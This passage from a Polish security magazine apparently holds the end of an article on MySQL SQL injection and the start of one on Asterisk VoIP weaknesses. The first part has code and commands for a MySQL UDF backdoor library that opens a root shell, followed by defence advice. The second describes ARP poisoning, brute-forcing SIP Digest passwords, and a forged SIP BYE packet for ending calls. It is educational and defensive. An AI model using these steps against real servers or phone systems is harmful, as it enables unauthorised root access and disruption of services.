dup2

(

soc_cli

,

2

);

            

execl

(

"/bin/sh"

,

"sh"

,

"-i"

,

(

char

 

*)

0

);

            

close

(

soc_cli

);

            

exit

(

0

);

        

}

            

close

(

soc_cli

);

    

}

}

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

24

kę (backdoor) na porcie 5556 serwe-
ra. Po połączeniu na ten port otrzy-
mamy powłokę z uprawnieniami ad-
ministratora systemu. 

Prześledźmy proces ataku z uży-

ciem  tak  przygotowanej  biblioteki. 
Zaczynamy  od  kompilacji  programu 
w poniższy sposób:

gcc -I /usr/include/mysql -O3 \
-shared -o backdoor.so backdoor.c

gdzie opcja 

-I

 określa ścieżkę do pli-

ków nagłówkowych serwera MySQL. 
Następnie  konwertujemy  powsta-
łą  bibliotekę  na  postać  szesnastko-
wą.  Najłatwiej  posłużyć  się  tu  pole-
ceniem:

hexdump -ve '1/1 "%02X"' \
backdoor.so >backdoor.hex

Posiadając  plik  backdooor.hex,  mo-
żemy przesłać go na serwer. Posłuży 
do  tego  oczywiście  zapytanie 

SELECT

 

oraz operator 

DUMPFILE

, który zezwala 

na tworzenie plików binarnych (opera-
tor 

OUTFILE

  dokonuje  kilku  konwer-

sji,  np.  bajt  zerowy  zamienia  na  za-
pis 

\0

).  Pozostaje  pytanie,  gdzie  za-

pisać  bibliotekę?  Musi  to  być  kata-
log  przeszukiwany  przez  systemowy 
linker/loader – jak np. katalog /lib. Po-
lecenie 

SELECT

 zapisujące, a zarazem 

dekodujące  plik  (z  powrotem  na  po-
stać binarną) musi zostać wywołane 
w takiej formie:

SELECT 0x[plik_backdoor_hex] 
INTO DUMPFILE '/lib/backdoor.so'

Aby  to  osiągnąć,  wydajemy  z  wier-
sza poleceń komendę:

mysql -uadmin -phaslo -hhost -e \
”SELECT 0x`cat backdoor.hex` INTO \
DUMPFILE '/lib/backdoor.so' ”

Gdy biblioteka znajdzie się już w kata-
logu /lib atakowanego serwera, przy-
stępujemy  do  głównej  części  ataku 
–  zdefiniowania  oraz  uruchomienia 
nowej  funkcji  UDF.  Po  zalogowaniu 
na atakowany host (przez mysql mo-
nitor) wybieramy bazę:

mysql> use mysql;

a następnie tworzymy funkcję o na-
zwie backdoor:

mysql> CREATE FUNCTION backdoor
> RETURNS string
> SONAME 'backdoor.so';

Zapytanie to, poza nazwą tworzonej 
funkcji, definiuje typ zwracanej war-
tości oraz plik biblioteki, który zawie-
ra kod funkcji. Od tej pory nowopow-
stała  funkcja  backdoor  jest  gotowa 
do użycia, o czym możemy się łatwo 
przekonać próbując ją wykonać:

mysql> SELECT
> backdoor('whatever');

Jeśli nie wystąpi żaden problem, funk-
cja zwróci napis All right, it's open! Po 
połączeniu programem telnet na port 
5559  powinna  zgłosić  się  powłoka 
bash z uprawnieniami roota.

Obrona przed atakami 

SQL Injection

Aby  zabezpieczyć  się  przed  atakami 
omówionymi w tym artykule, koniecz-
ne  jest  przedsięwzięcie  odpowied-
nich działań – zarówno ze strony ad-
ministratora, jak i programisty. Admini-
strator powinien zadbać o to, aby użyt-
kownicy  posiadali  jedynie  minimalny 
zestaw  uprawnień  oraz  dostęp  tylko 
do tych baz, które są przez nich wyko-
rzystywane. W miarę możliwości zale-

W Sieci

•   http://www.securityfocus.com/infocus/1726 – opis instalacji serwera MySQL w od-

izolowanym środowisku – chroot,

•   http://dev.mysql.com/doc/refman/5.0/en/security-against-attack.html  –  zbiór  po-

rad na temat zabezpieczania serwera MySQL,

•   http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html  –  informacje  na  temat 

tworzenia funkcji UDF,

•   http://www.frsirt.com/bulletins/354 – źródło programu mysqlfast.c.

Rysunek 8. 

Uzyskanie powłoki z uprawnieniami roota 

Rysunek 7. 

Schemat obrazujący 

działanie metody czasowej

���������������������
������������������������������

����������

����������

��������
��������
��������
��������
��������
��������
���������

���������
���������

���������
���������
���������

�����������������

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

25

ca się nawet utworzenie kilku kont dla 
każdego użytkownika – z różnymi po-
ziomami uprawnień. Jeśli zajdzie po-
trzeba skorzystania z funkcji operują-
cych  na  plikach,  będzie  on  pracował 
na  koncie  posiadającym  uprawnienie 

FILE

  itd.  W  tak  zaprojektowanej  ba-

zie,  nawet  jeśli  atakującemu  uda  się 
wstrzyknąć kod SQL, zyska on dostęp 
do mniej uprzywilejowanego konta. W 
żadnym  wypadku  nie  należy  nada-
wać uprawnień licząc na to, że mogą 
się  one  przydać  w  przyszłości.  Każ-
de  konto  powinno  mieć  przypisaną 
nazwę hosta, z którego akceptowane 
są połączenia. Jeśli nie udostępniamy 
kont na zewnątrz serwera, dostęp sie-
ciowy do bazy powinien zostać wyłą-

czony całkowicie. Ponadto, gdy strona 
przejdzie  gruntowną  fazę  testów,  ad-
ministrator  powinien  wyłączyć  opcje 
związane  z  wyświetlaniem  błędów 
PHP oraz SQL (opcje 

display _ errors

 

oraz 

mysql.trace _ mode

 pliku php.ini).

Programista  powinien  zadbać  o 

to, by każda zmienna pochodząca od 
użytkownika  była  dostatecznie  filtro-
wana,  zanim  trafi  do  zapytania  prze-
syłanego do bazy. Filtracja zmiennych 
tekstowych  powinna  odbywać  się  z 
użyciem funkcji 

mysql _ real _ escape _

string()

,  która  działa  podobnie  jak 

opcja 

magic _ quotes _ gpc

.  Natomiast 

filtracja  zmiennych  liczbowych  powin-
na zaczynać się od wywołania funkcji 

is _ numeric()

, która ustali czy przeka-

zana wartość faktycznie jest liczbą (je-
śli nie, najprawdopodobniej ktoś próbu-
je przeprowadzić atak). Dodatkowo na-
leży dokonać konwersji na format licz-
bowy – używając funkcji 

intval()

 oraz 

floatval()

 odpowiednio dla liczb całko-

witych  i  zmiennoprzecinkowych.  Są 
to podstawowe zasady, których ścisłe 
przestrzeganie  na  pewno  podniesie 
ogólny  poziom  bezpieczeństwa.  Czy-
telników chcących pogłębić swoją wie-
dzę na temat różnych metod zabezpie-
czania serwera MySQL zachęcam do 
odwiedzenia linków z ramki W Sieci.

Podsumowanie

Przekonaliśmy  się,  że  pozornie  nie-
wielki błąd (brak apostrofów) może do-
prowadzić do wycieku danych. Dlate-
go dokładna analiza kodu aplikacji sie-
ciowej pod kątem filtracji danych wej-
ściowych, a także zabezpieczenie sa-
mego serwera powinno stanowić obo-
wiązkową  czynność  przed  udostęp-
nieniem aplikacji w sieci Internet. l

O autorze

Autor jest samoukiem, pasjonatem, od wielu lat interesującym się informatyką, a w szcze-
gólności aspektami bezpieczeństwa. Studiuje sieci komputerowe w ramach programu Ci-
sco Network Academy na Politechnice Poznańskiej. Kontakt: golunski@crackpl.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

26

Atak

Z

e względu na zdobytą popularność, Vo-
IP  można  nazwać  jedną  z  najważniej-
szych  usług  teleinformatycznych  ostat-

niej dekady. Mimo tego, iż systemów i produk-
tów  oferujących  rozmowy  pakietowe  jest  na 
rynku coraz więcej, szybkość rozwoju tej usłu-
gi nie jest tak imponująca, jak to pierwotnie pro-
gnozowano. Przyczyn takiego stanu rzeczy na-
leży upatrywać w nadal nierozwiązanych pro-
blemach,  które  wpływają  negatywnie  na  roz-
wój VoIP. Chodzi tu przede wszystkim o proble-
my z zagwarantowaniem odpowiedniej jakości 
usługi  pomiędzy  rozmawiającymi  oraz  niewy-
starczający  poziom  zabezpieczeń,  szczegól-
nie  w  zakresie  bezpieczeństwa  protokołu  sy-
gnalizacyjnego,  na  którym  dany  system  tele-
fonii IP bazuje.

Na tym tle Asterisk (Rysunek 1) to produkt 

stosunkowo młody, jednakże cieszący się już  w 
świecie telefonii VoIP dość dużą popularnością. 
Jest  to  programowa  centralka  IP  PBX  oferują-
ca wsparcie dla najpopularniejszych obecnie ze-
standaryzowanych protokołów sygnalizacyjnych 
telefonii IP, tj. SIP (ang. Session Initiation Proto-
col
), H.323, MGCP (ang. Media Gateway Con-
trol Protocol
) oraz producenckich SCCP (firmy 
Cisco),  czy  IAX2  (ang.  InterAsterisk  eXchan-

ge  wersja  2).  Umożliwia  również  wykorzysta-
nie  szerokiej  gamy  kodeków  mowy,  jednocze-
śnie zapewniając bogatą listę usług telekomuni-
kacyjnych związanych z obsługą połączeń oraz 
taryfikacją. Dodatkowo pozwala na współpracę 
z wieloma typami aparatów VoIP i dedykowany-
mi kartami sprzętowymi do połączeń z sieciami 
PSTN. Jednak główną cechą, która przysparza 
Asteriskowi coraz większą rzeszę zwolenników 
jest fakt, że pomimo bogatych możliwości tech-
nicznych jest to oprogramowanie darmowe (na 
licencji GNU). W ten sposób każdy użytkownik 

Luki w VoIP

Tomasz Piotrowski
Szczepan Wójcik
Mikołaj Wiśniewski
Wojciech Mazurczyk

stopień trudności

VoIP (Voice over Internet Protocol), którą określa się również 

terminami telefonii IP lub telefonii internetowej (w zależności od 

zastosowania), to usługa czasu rzeczywistego, która służy do 

prowadzenia rozmów głosowych z wykorzystaniem pakietowych 

sieci IP. 

Z artykułu dowiesz się

•   w jaki sposób zabezpieczać systemy VoIP,
•   na co zwracać uwagę przy kupowaniu i wdra-

żaniu systemów VoIP,

•   jakie luki bezpieczeństwa znajdują się w syste-

mie Asterisk.

Co powinieneś wiedzieć

•   znać zasadę działania telefonii IP,
•   podstawy działania protokołu sygnalizacyjnego 

VoIP: SIP.

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

27

jest  w  stanie  zweryfikować  popraw-
ność  implementacji  poszczególnych 
elementów  systemów  oraz  wprowa-
dzać  własne  rozszerzenia,  dodatko-
we funkcjonalności czy usługi.

Wszystkie  opisane  powyżej  ce-

chy  sprawiają,  że  Asterisk  jest  coraz 
częściej  stosowany  we  wdrożeniach 
różnej skali, a grupa odbiorcza takie-
go produktu jest praktycznie nieogra-
niczona. Często znajduje on zastoso-
wanie jako centrala IP-PBX w średniej 
wielkości  firmach  (rozwiązania  takie 
jak Fonality – http://www.fonality.com
lub  jest  używany  przez  operatorów. 
Przykładowo  francuski  operator  Vo-
IP  Wengo  używa  Asterisk  do  ofero-
wania usługi poczty głosowej. Zazwy-
czaj  jednak  firmy  sięgają  po  tego  ty-
pu  systemy  telefonii  IP,  aby  zastąpić 
konwencjonalne,  analogowe  centrale 
PBX. Dodatkowo korzystać z nich mo-
gą  także  administratorzy  Sieci  osie-
dlowych, małe firmy oraz indywidual-
ni użytkownicy. 

Równocześnie wraz ze wzrostem 

popularności, jakim cieszy się to roz-
wiązanie, rośnie znaczenie sposobu 
zabezpieczeń, który w tym systemie 
jest realizowany.

Przenoszenie  miejsca  świadcze-

nia usług telefonicznych z tradycyjnej 
sieci telefonicznej PSTN (ang. Public 
Switched Telephone Network
) do sie-
ci  IP,  które  możemy  śledzić  od  kilku 
lat, sprawia, że zagrożenia, kojarzące 
się  dotychczas  z  bezpieczeństwem 

kabla telefonicznego (aspektu zupeł-
nie fizycznego), zyskują zupełnie inny 
wymiar w domenie świata pakietowe-
go. Chcąc podsłuchać rozmowę Vo-
IP, nie musimy podłączać się do linii 
abonenckiej. Wystarczy, że będąc w 
tej samej sieci LAN uruchomimy od-
powiednie  narzędzie  (sniffer),  a  na-
stępnie  wykorzystamy  je  do  prze-
chwytywania  odpowiedniego  pro-
tokołu  telefonii  IP  (zupełnie  tak,  jak 
podsłuchiwało się dotychczas usługi 
takie jak FTP, telnet, czy SMTP). Po-
nadto, aby przechwytywać rozmowy 
na  masową  skalę,  nie  trzeba  podłą-
czać się do każdej linii fizycznej, lecz 
wystarczy przejąć cały ruch obserwo-
wany w danej sieci lokalnej. Wskaza-

ne zagrożenia telefonii IP powodują, 
że kwestie bezpieczeństwa w syste-
mach takich jak Asterisk należy trak-
tować priorytetowo.

W  artykule  skoncentrowano  się 

na analizie bezpieczeństwa Asterisk 
z  punktu  widzenia  protokołu  sygna-
lizacyjnego  SIP,  będącego  najpow-
szechniej  wykorzystywanym  proto-
kołem  sygnalizacyjnym  w  telefonii 
IP,  protokołu  sygnalizacyjnego  IAX2 
(rozwiązania  producenckiego  twór-
ców systemu Asterisk) oraz standar-
du RTP, wykorzystywanym do trans-
misji  głosu  dla  połączeń  telefonicz-
nych  VoIP.  Wspomniane  protokoły, 
bez zastosowania odpowiednich za-
bezpieczeń,  mogą  stanowić  źródło 
zagrożeń,  zwiększając  podatność 
na ataki: podsłuchania, podszywania 
się  przez  osobę  atakującą  pod  pra-
wowitego  użytkownika,  czy  odmo-
wy usługi (Denial of Service). Innym 
omówionym  aspektem  bezpieczeń-
stwa, analizowanym w tym artykule, 
jest  odporność  na  ataki  maszyny  fi-
zycznej, na której instalowany i uru-
chomiany jest Asterisk.

Architektura i rozwój 

systemu Asterisk

Historia  oprogramowania  Aste-
risk sięga 1999 roku. Za jego twór-
cę uważa się Marka Spencera z fir-
my Digium. Od czasu udostępnienia 
pierwszej wersji centrali jej kod zo-
stał intensywnie rozbudowany przez 
wielu programistów na całym świe-

Rysunek 1. 

Asterisk – oprogramowanie centrali telefonicznej IP PBX 

serwera VoIP

Rysunek 2. 

Topologia z jedną centralą

����

���

������������

����������

�����

������

������

����������

��������

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

28

cie  i  temu  właśnie  zawdzięcza  bo-
gactwo  oferowanych  protokołów  i 
usług.  Asterisk,  jak  wspomniano, 
jest  bardzo  rozbudowanym  i  ela-
stycznym  w  konfiguracji  systemem 
telefonicznym,  nadającym  się  do 
wielu zastosowań telefonii IP. Może 
działać  pod  kontrolą  wielu  różnych 
systemów operacyjnych, tj. MS Win-
dows, Linux, BSD i Mac OS X. 

Asterisk wspiera takie funkcjonal-

ności jak: poczta głosowa z książką 
telefoniczną,  połączenia  konferen-
cyjne,  system  IVR  (ang.  Interactive 
Voice  Response
),  kolejkowanie  po-
łączeń,  identyfikacja  numerów,  czy 
ADSI (ang. Analog Display Services 
Interface
).  Aby  umożliwić  pakieto-
we rozmowy telefoniczne, nie wyma-
ga on żadnego dodatkowego sprzętu 
fizycznego. Natomiast w celu nawią-
zywania połączenia pomiędzy telefo-
nią cyfrową, a analogową niezbędne 
jest  wykorzystanie  specjalnych  kart. 
Asterisk  współpracuje  zarówno  ze 
sprzętem  wyprodukowanym  przez 
Digium,  jak  i  innymi  urządzeniami 
firm takich, jak: Sangoma Technolo-
gies, Patton Electronics, Hitachi Ca-
ble,  Polycom,  SUN  Microsystems, 
Junghanns.net, czy VoiSmart.

Obecnie  wiele  firm  zajmuje  się 

dystrybucją  oprogramowania  Aste-
risk i dedykowanego dla niego sprzę-
tu. Wiodącym europejskim dystrybu-
torem sprzętu i oprogramowania sto-
sowanego  przy  otwartych  projek-
tach głosowych związanych z Aste-
risk jest firma halo2 – Halo Kwadrat, 
natomiast  w  Polsce  takie  firmy  jak 
NETCOM  czy  Virgo  Kalisz.  Zazwy-

czaj firmy tego typu zapewniają kom-
pleksową obsługę teleinformatyczną 
przedsiębiorstw  w  ramach  oferowa-
nego produktu. Warto również wspo-
mnieć,  że  popularny  obecnie  polski 
system VoIP – Tlenofon, który umoż-
liwia  wykonywanie  tanich  rozmów 
przez Internet, również współpracu-
je ze środowiskiem Asterisk. 

Bezpieczeństwo w 

Asterisk

Analizując bezpieczeństwo środowi-
ska  Asterisk,  należy  rozważyć  dwie 
podstawowe topologie sieciowe opi-
sane poniżej. Pierwsza z nich skła-
da się z kilku klientów (PC z komu-
nikatorem  –  tzw.  Softphonem  –  lub 
sprzętowymi  telefonami  IP)  bezpo-
średnio  połączonymi  do  wspólnej 
centrali oraz intruza – komputera do 
podsłuchiwania i modyfikacji przesy-
łanych pakietów protokołu SIP bądź 
IAX2  między  klientem  a  centralą 
(patrz Rysunek 2). Natomiast druga 
topologia  składa  się  z  dwóch  klien-

tów połączonych do różnych central 
Asterisk  oraz  intruza  –  komputera 
do podsłuchiwania i modyfikacji pa-
kietów protokołu IAX2 na łączu mię-
dzy-centralowym (Rysunek 3.). 

W artykule tym skoncentrujemy 

się  głównie  na  badaniu  protokołu 
sygnalizacyjnego SIP, a tym samym 
rozważymy  aspekty  bezpieczeń-
stwa topologii z jedną centralą.

Architekturę  systemu  oparte-

go  na  Asterisku  uzupełniają  urzą-
dzania  końcowe:  komunikatory  lub 
sprzętowe  telefony  IP.  Wśród  naj-
częściej  wykorzystywanych  komu-
nikatorów znaleźć można: aplikację 
X-Lite wspierającą protokół SIP czy 
Idefisk  obsługujący  zarówno  proto-
kół SIP, jak i protokół twórców Aste-
risk  –  IAX/IAX2  (Rysunek  4  i  5). 
Asterisk  umożliwia  też  wykorzysta-
nie  fizycznych  telefonów  IP  opar-
tych  na  protokołach  sygnalizacyj-
nych SIP, H.323, MGCP, czy SCCP 
(Cisco).

Rodzaje i techniki 

ataków na systemy VoIP

Zanim zostanie przedstawiona ana-
liza  zabezpieczeń  systemu  Aste-
risk,  niezbędne  jest  wprowadzenie 
odpowiedniej  terminologii  oraz  wy-
jaśnienie technik ataków na telefo-
nię  IP,  co  pozwoli  uwypuklić  pro-
blem  niebezpieczeństw,  na  jakie 
może być narażony nasz system te-
leinformatyczny. Pozwoli nam to od-
powiednio  przygotować  nasz  sys-
tem  telefonii  IP  po  to,  by  zapobie-
gać większości ataków.

Usługi ochrony informacji dla sys-

temów VoIP trzeba rozważać według 

Tabela 1. 

Przykładowe rodzaje wiadomości protokołu SIP

Rodzaj wiadomości

Znaczenie

INVITE

zaproszenie do udziału w połączeniu

BYE

zakończenie połączenia między dwoma uczest-
nikami połączenia

OPTIONS

przekazuje informacje o funkcjonalności (ang. 
capabilities),
nie zestawia połączenia

CANCEL

przerwanie wcześniej wysłanego żądania

ACK

służy do realizacji niezawodnej wymiany wiado-
mości INVITE

REGISTER

przenosi informacje o lokalizacji użytkownika 
dla serwera SIP

Tabela 2. 

Przykładowe komunikaty protokołu IAX2

Grupa

Komunikat

Znaczenie

Rejestracja

REGREQ
REGAUTH
REGACK
REGREJ
REGREL

Żądanie rejestracji Autoryzacja re-
jestracji Potwierdzenie rejestracji 
Odrzucenie rejestracji Zakończe-
nie rejestracji

Zestawianie / Roz-
łączanie połączeń

NEW
REJECT
ACCEPT
HUNGUP

Zestawianie nowego połączenia
Odrzucenie wywołania
 Akceptacja wywołania
Zakończenie połączenia

Autoryzacja

AUTHREG
AUTHREP

Żądanie autoryzacji
Odpowiedź na żądanie autoryzacji

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

29

kryteriów, które dadzą nam możliwo-
ści  zapewnienia  trzech  podstawo-
wych usług ochrony informacji – uwie-
rzytelnienia (ang. authentication), inte-
gralności danych (ang. data integrity
oraz poufności danych (ang. data con-
fidentiality
).

Przy dokonywaniu analizy bezpie-

czeństwa należy być również świado-
mym zagrożeń, na jakie może być na-
rażony  wdrażany  przez  nas  system. 
Akcje  podejmowane  przez  najróż-
niejszych  intruzów  można  podzielić 
na  ataki  aktywne  oraz  pasywne.  Te 
pierwsze  polegają  na  celowej  inge-
rencji np. w komunikację między stro-
nami  połączenia,  a  drugie  zawierają 
w sobie takie działania, jak podsłuch 
czy przechwytywanie wiadomości. 

Do przeprowadzania ataków wyko-

rzystywane  są  odpowiednie  techniki. 
Podstawowe techniki ataków na syste-
my VoIP możemy podzielić na trzy ka-
tegorie:  Spoofing  (podszywanie  się), 
Sniffing (podsłuchiwanie) oraz Denial 

of Service (odmowa usługi).

Poniżej zostanie pokrótce omówio-

na każda z wymienionych technik:

•   Spoofing  –  polega  na  celowym 

podszywaniu  się  pod  danego 
użytkownika (np. za pomocą jego 
adresu IP), dzięki czemu napast-
nik może mieć możliwość wysyła-
nia sfałszowanych wiadomości,

•   Sniffing  –  opiera  się  na  szcze-

gółowym  obserwowaniu  i  ana-
lizowaniu  pakietów  wysyłanych 
przez sieć,

•   Denial of Service – polega na za-

blokowaniu  możliwości  funkcjo-
nowania  danego  elementu  sieci, 
co może mu uniemożliwić świad-
czenie danej usługi (np. poprzez 
zalanie  danego  elementu  dużą 
ilością  wiadomości)  prawowitym 
użytkownikom.

Wykorzystanie każdej z wyżej przed-
stawionych  technik  może  doprowa-

dzić do różnego rodzaju ataków. Dla 
przykładu:  za  pomocą  techniki  pod-
szywania  możliwe  jest  odkrywanie 
treści  wiadomości,  a  następnie  jej 
modyfikacja. Dzięki technice podsłu-
chania intruz potrafi w pasywny spo-
sób zaglądać w przesyłane wiadomo-
ści, natomiast atak typu Denial of Se-
rvice
  stwarza  ryzyko  sparaliżowania 
działania platformy VoIP.

Na  wszystkie  wymienione  zagro-

żenia  nasz  system  VoIP  powinien 
być przygotowany, by w sposób bez-
pieczny oferować użytkownikom swo-
je usługi. W dalszej części artykułu za-
warte zostały wskazówki, w jaki spo-
sób skutecznie ustrzec się przed ata-
kami potencjalnych intruzów. 

Bezpieczeństwo VoIP 

opartego na Asterisk

Rozważając  potencjalne  zagroże-
nia, na jakie może być narażony sys-
tem Asterisk, należy brać pod uwa-
gę bezpieczeństwo całej komunika-
cji, w której pośredniczy, jak również 
odporność na ataki maszyny, na któ-
rej system ten się znajduje. 

Pierwsza  z  wymienionych  kwe-

stii  dotyczy  zapewnienia  bezpie-
czeństwa  protokołów  komunikacyj-
nych wykorzystywanych w systemie 
Asterisk  (przede  wszystkim  proto-
kołów sygnalizacyjnych: SIP, H.323, 
MGCP, SCCP, IAX2 oraz transmisji 
głosu:  RTP).  W  tym  wypadku  klu-
czowe jest to, czy komunikacja jest 

Listing 1. 

Wygląd przykładowej wiadomości BYE protokołu SIP

BYE

 

sip

:

3001

@

192.168

.

0.101

:

33924

 

SIP

/

2.0

Via

:

 

SIP

/

2.0

/

UDP

 

192.168

.

0.100

:

5060

;

branch

=

z9hG4bK01f6f4fa

;

rport

From

:

 

"3000"

<

sip

:

3000

@

192.168

.

0.101

>;

tag

=

as6486104f

To

:

 

"Tomek"

<

sip

:

3001

@

192.168

.

0.101

>;

tag

=

5

c558618

Call

-

ID

:

 43

bdbc1b0bfdfa1d2e18f5770f03e202

.

CSeq

:

 

102

 

BYE

User

-

Agent

:

 

Asterisk

 

PBX

Max

-

Forwards

:

 

70

Content

-

Length

:

 

0

Rysunek 3. 

Topologia z dwoma centralami

��������

��������

����������

����������

������

Rysunek 4. 

X-Lite wersja 3.0

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

30

dostępna  dla  kogoś,  kto  nie  powi-
nien mieć do niej dostępu. Sytuacja 
taka  będzie  mieć  miejsce  zawsze 
wówczas,  gdy  można  przechwyty-
wać pakiety (np. w sieci LAN) oraz 
gdy ich zawartość nie jest zabezpie-
czana  z  wykorzystaniem  mechani-
zmów kryptograficznych. 

Drugim  zagadnieniem  jest  bez-

pieczeństwo maszyny, na której zo-
stał zainstalowany i działa Asterisk. 
Duże znaczenie ma tu wybór syste-
mu operacyjnego oraz jego bezpie-
czeństwo.  Istotne  jest  także  m.  in. 
to, czy uruchamiamy równolegle na 
tej samej maszynie inne usługi i czy 
umożliwiamy  użytkownikom  zdalny 
dostęp (np. poprzez SSH).

Bezpieczeństwo 

sygnalizacji

W  przypadku  zabezpieczania  proto-
kołu sygnalizacyjnego należy zagwa-
rantować  bezpieczeństwo  wiadomo-
ściom  tego  protokołu,  które  są  prze-
syłane pomiędzy stronami komuniku-
jącymi się, czyli zapewnić ich integral-
ność, uwierzytelnienie oraz poufność. 

Dla  analizowanego  przez  nas 

protokołu sygnalizacyjnego SIP, jed-
nym z zaproponowanych w standar-
dzie  mechanizmów  zabezpieczeń 
jest  SIPS  URI,  który  oparty  jest  na 
protokole  TLS  (ang.  Transport  Lay-
er  Security
).  Niestety,  środowisko 
Asterisk, które jest w fazie ciągłego 
rozwoju, na obecną chwilę nie posia-
da zaimplementowanego tegoż me-
chanizmu.  Wyposażone  jest  nato-
miast w inny mechanizm: SIP Digest 
(analogiczny do mechanizmu HTTP 
Digest
),  umożliwiający  zapewnienie 
uwierzytelnienia i integralności prze-
syłanych  danych.  Mechanizm  ten 
jednak  nie  spełnia  do  końca  swojej 

roli, ponieważ jest oparty na złama-
nej funkcji skrótu MD5, a współdzie-
lone  hasło  możliwe  jest  do  uzyska-
nia metodami słownikowymi bądź si-
łowymi (ang. brute-force).

Przeglądając  kierunki  rozwoju 

firmy Asterisk, znaleźć można plany 
wprowadzenia szyfrowania sygnali-
zacji i dźwięku. Należy jednak pod-
kreślić, że w chwili obecnej opcja ta 
jest dopiero w fazie testów i wyma-
ga jeszcze pracy nad stabilnością.

Wykorzystanie luk do 

przeprowadzenia ataku

Wykonane przez nas próby ataków na 
protokół sygnalizacyjny miały na celu 
podsłuchiwanie wiadomości protoko-
łu sygnalizacyjnego – ataki pasywne 
oraz próby zmiany wiadomości – ata-
ki aktywne. Wykorzystano w tym celu 
atak Man-In-The-Middle (MITM) oraz 
technikę ARP Poisoning

ARP Poisoning

Atak  ARP  Poisoning,  którego  doko-
nać można np. przy użyciu narzędzia 
Ettercap, polega na celowej modyfika-
cji pamięci podręcznej ARP. Kompu-
ter B otrzymując pakiet ARP Request 
spodziewa się połączenia z kompute-

ra A, więc żeby nie wysyłać zbędnych 
pakietów ARP, zapisuje parę MAC, IP 
z pakietu ARP Request w swojej pa-
mięci  podręcznej  ARP.  Taką  sytu-
ację  można  wykorzystać  wysyłając 
wiele zapytań ARP Request ze swo-
im  adresem  MAC  ale  zawierającym 
adres IP np. komputera A, modyfiku-
jąc w ten sposób pamięci podręczne 
ARP wszystkich komputerów w sieci 
i  przejmując  tym  samym  komunika-
cję przeznaczoną dla tego komputera. 
Jest  wiele  gotowych  narzędzi  wyko-
rzystujących ARP Spoofing/ARP Po-
isoning
,  w  tym  bardzo  rozbudowane 
użyte przez nas sniffery, np. Ethereal
czy  Ettercap.  Prostym  i  skutecznym 
zabezpieczeniem przed tymi metoda-
mi jest ustawienie statycznych wpisów 
pamięci podręcznej ARP dla kompu-
terów w naszej sieci Ethernet. 

Atak pasywny – analiza 

pakietów

Analizy pakietów można dokonać przy 
użyciu oprogramowania Ethereal Ne-
twork  Protocol  Analyzer
  (w  nowszej 
wersji  WireShark).  Celem  tej  analizy 
jest  uzyskanie  niezbędnych  do  prze-
prowadzania  ataku  informacji  o  po-
łączeniu,  m.  in.  o  adresach  agentów 

Rysunek 5. 

Idefisk wersja 2.01 RC2

Rysunek 6. 

Wynik pracy programu Ethereal dla protokołu SIP. Podgląd 

wiadomości Request INVITE z wyróżnioną linią zawierającą identyfikator 
połączenia Call-ID

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

31

użytkownika  SIP  (punktów  końco-
wych), ich hasłach czy identyfikatorze 
połączenia Call-ID. Przykładowe wyni-
ki analizatora dla protokołu SIP przed-
stawia  Rysunek  6.  Analogiczny  atak 
pasywny  może  być  przeprowadzo-
ny dla protokołu IAX2 dla łącza mię-
dzy-centralowego  (Rysunek  7).  Do-
datkowo, w Tabelach 1. i 2. zawartych 
jest kilka podstawowych rodzajów wia-
domości dla łatwiejszego zrozumienia 
działania protokołów SIP i IAX2.

Jak  wspomniano,  Asterisk  oferu-

je dla protokołu SIP mechanizm uwie-
rzytelnienia SIP Digest wykorzystujący 
funkcję skrótu MD5. Podsłuchując wy-
mianę pakietów między agentami użyt-
kowników,  możemy  dokonać  próby 
złamania zabezpieczonego hasła. Do 
przeprowadzania  takiego  ataku  moż-
na użyć ogólnodostępnego narzędzia 
Cain & Abel, które umożliwia łamanie 
haseł  metodami  siłowymi  (ang.  Bru-
te-Force
). Złamanie hasła 4-znakowe-
go zajmowało średnio 3 sekundy, na-
tomiast hasła 6-znakowego średnio 40 
minut. Wynik przeprowadzonych prób 
zamieszczono na Rysunku 8.

Atak aktywny

Po przeprowadzeniu udanych ataków 
pasywnych (zebraniu niezbędnych in-

formacji)  można  przejść  do  wykona-
nia  ataków  aktywnych,  polegających 
na utworzeniu i wysłaniu odpowiednio 
spreparowanego pakietu, który może 
mieć na celu na przykład zakończenie 
trwającego połączenia. Opisany atak 
wymaga  utworzenia  i  wysłania  do 
centrali Asterisk odpowiednio sprepa-
rowanego  pakietu 

BYE

  protokołu  SIP 

przedstawionego na Listingu 1.

Pakiet ten powinien zawierać: ad-

res SIP terminala i centrali oraz identy-
fikator trwającego połączenia Call-ID. 
Przygotowany pakiet należy umieścić 
w polu danych pakietu UDP i przy uży-
ciu narzędzia Nemesis wysłać do sieci 
lokalnej (Rysunek 9).

Innego  rodzaju  ataku  aktywne-

go można dokonać za pomocą ogól-
nie dostępnego skanera luk sieci Vo-
IP opartej na protokole SIP – SiVuS. 
Składa się on z kilku części, które po-
zwalają przeprowadzić atak oraz we-
ryfikują odporność na błędy i poziom 
bezpieczeństwa: komunikatorów SIP, 
serwerów  sieciowych  Proxy  i  Regi-
strar
. Narzędzie to umożliwia podszy-
cie  się  pod  innego  użytkownika,  jak 
również na ukrycie tożsamości oso-
by atakującej. Po podszyciu się pod 
innego użytkownika możliwa jest in-
gerencja  w  jego  aktywność  siecio-

wą,  np.  możliwe  jest  zadzwonienie 
do  znajomych  zaatakowanego  użyt-
kownika  lub  wykorzystanie  upraw-
nień przez niego posiadanych.

Opisany  powyżej  atak  bazuje  na 

luce  w  procesie  rejestracji  agentów 
użytkownika  w  serwerze  Registrar
Każdy  agent  użytkownika  jest  zobli-
gowany  do  rejestracji  w  tym  serwe-
rze, ponieważ rejestracja w sieci Vo-
IP  jest  niezbędna  do  zlokalizowania 
abonenta.  Żądanie  rejestracji  (wia-
domość REGISTER – patrz Tabela 1) 
zawiera  pole  Contact,  które  zawiera 
adres IP urządzenia (niezależnie, czy 
to jest telefon IP czy komunikator za-
instalowany na PC). Osoba atakująca 
wysyła  zmodyfikowaną  wiadomość 
REGISTER, w której pole Contact za-
